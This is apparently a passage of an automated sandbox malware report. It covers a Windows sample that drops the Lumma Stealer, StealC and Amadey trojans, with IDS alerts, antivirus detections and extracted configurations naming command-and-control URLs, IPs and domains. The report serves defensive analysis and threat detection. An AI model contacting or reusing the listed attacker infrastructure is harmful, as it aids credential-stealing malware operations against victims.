2024-10-22T19:25:29.639418+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.8	56853	1.1.1.1	53	UDP
2024-10-22T19:26:01.680518+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.8	60093	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T19:24:19.305233+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.8	59950	1.1.1.1	53	UDP
2024-10-22T19:25:14.770685+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.8	57815	1.1.1.1	53	UDP
2024-10-22T19:25:29.709460+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.8	56184	1.1.1.1	53	UDP
2024-10-22T19:26:01.772940+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.8	60178	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T19:24:19.193396+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.8	62557	1.1.1.1	53	UDP
2024-10-22T19:25:14.692392+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.8	63603	1.1.1.1	53	UDP
2024-10-22T19:25:29.627406+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.8	62363	1.1.1.1	53	UDP
2024-10-22T19:26:01.669855+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.8	51668	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T19:24:19.272669+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.8	54798	1.1.1.1	53	UDP
2024-10-22T19:25:14.756486+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.8	51209	1.1.1.1	53	UDP
2024-10-22T19:25:29.697621+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.8	51370	1.1.1.1	53	UDP
2024-10-22T19:26:01.761471+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.8	64296	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T19:24:19.236700+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.8	59051	1.1.1.1	53	UDP
2024-10-22T19:25:14.734302+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.8	52212	1.1.1.1	53	UDP
2024-10-22T19:25:29.666686+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.8	51269	1.1.1.1	53	UDP
2024-10-22T19:26:01.709312+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.8	61148	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T19:24:30.598569+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49712	172.67.206.204	443	TCP
2024-10-22T19:25:25.248175+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49737	172.67.206.204	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T19:24:49.715756+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49722	185.215.113.37	80	TCP
2024-10-22T19:25:22.465419+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49734	185.215.113.37	80	TCP
2024-10-22T19:25:30.136679+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49746	185.215.113.37	80	TCP
2024-10-22T19:25:43.275079+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49839	185.215.113.37	80	TCP
2024-10-22T19:25:52.886868+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49894	185.215.113.37	80	TCP
2024-10-22T19:26:00.933422+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49943	185.215.113.37	80	TCP
2024-10-22T19:26:11.216307+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	50038	185.215.113.37	80	TCP
2024-10-22T19:26:27.779510+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	50129	185.215.113.37	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T19:25:07.403626+0200	2856147	1	A Network Trojan was detected	192.168.2.8	49723	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T19:25:15.007549+0200	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.8	49724	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T19:25:10.992549+0200	2803305	3	Unknown Traffic	192.168.2.8	49725	185.215.113.16	80	TCP
2024-10-22T19:25:16.848834+0200	2803305	3	Unknown Traffic	192.168.2.8	49728	185.215.113.16	80	TCP
2024-10-22T19:25:22.514543+0200	2803305	3	Unknown Traffic	192.168.2.8	49735	185.215.113.16	80	TCP
2024-10-22T19:25:27.582124+0200	2803305	3	Unknown Traffic	192.168.2.8	49740	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T19:24:31.778489+0200	2843864	1	A Network Trojan was detected	192.168.2.8	49713	172.67.206.204	443	TCP
2024-10-22T19:25:27.002694+0200	2843864	1	A Network Trojan was detected	192.168.2.8	49739	172.67.206.204	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T19:24:21.793005+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.8	49706	104.102.49.254	443	TCP
2024-10-22T19:25:16.288467+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.8	49726	92.122.104.90	443	TCP
2024-10-22T19:25:31.268028+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.8	49750	104.102.49.254	443	TCP
2024-10-22T19:26:03.325719+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.8	49959	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\num[1].exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000003.00000002.1768988516.0000000000461000.00000040.00000001.01000000.00000006.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 35.2.DC91U752866P4RTKEWI6.exe.1f0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: file.exe.6900.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["mobbipenju.store", "eaglepawnoy.store", "spirittunek.store", "clearancek.site", "studennotediw.store", "bathdoomgaz.store", "licendfilteo.site", "dissapoiznw.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\num[1].exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.122.104.90:443 -> 192.168.2.8:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.8:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.8:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.8:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:50112 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:50138 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:50140 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:50139 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 1SC0KN6KHBFFEX9LB9FR.exe, 00000007.00000002.1907629465.00000000003E2000.00000040.00000001.01000000.0000000B.sdmp, 1SC0KN6KHBFFEX9LB9FR.exe, 00000007.00000003.1773331025.0000000005140000.00000004.00001000.00020000.00000000.sdmp, 3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe, 00000025.00000002.2504511148.00000000007C2000.00000040.00000001.01000000.0000001E.sdmp, 3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe, 00000025.00000003.2369719984.0000000004E10000.00000004.00001000.00020000.00000000.sdmp

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 188MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.8:59051 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.8:58528 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.8:59103 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.8:54798 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.8:56210 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.8:62557 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.8:59950 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.8:64181 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.8:49723 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49722 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.8:60982 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.8:63603 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.8:52212 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.8:57815 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.8:51209 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.8:64850 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.8:49724
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.8:64650 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49727 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49732 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49734 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.8:56184 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.8:51370 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.8:63026 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.8:56853 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.8:51269 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.8:58618 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.8:62363 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49746 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49757 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.8:49247 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49839 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.8:50872 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49738 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49894 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.8:58940 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.8:61148 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.8:51586 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.8:60178 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.8:63257 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.8:64296 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.8:60093 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.8:51668 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49943 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:50038 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:50129 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.8:49706 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49708 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49712 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49708 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49707 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49707 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49729 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49730 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49730 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49714 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49737 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49729 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.8:49726 -> 92.122.104.90:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.8:49713 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.8:49739 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49749 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.8:49750 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.8:49959 -> 104.102.49.254:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: mobbipenju.store
Source: Malware configuration extractor	URLs: eaglepawnoy.store
Source: Malware configuration extractor	URLs: spirittunek.store
Source: Malware configuration extractor	URLs: clearancek.site
Source: Malware configuration extractor	URLs: studennotediw.store
Source: Malware configuration extractor	URLs: bathdoomgaz.store
Source: Malware configuration extractor	URLs: licendfilteo.site
Source: Malware configuration extractor	URLs: dissapoiznw.store
Source: Malware configuration extractor	IPs: 185.215.113.43

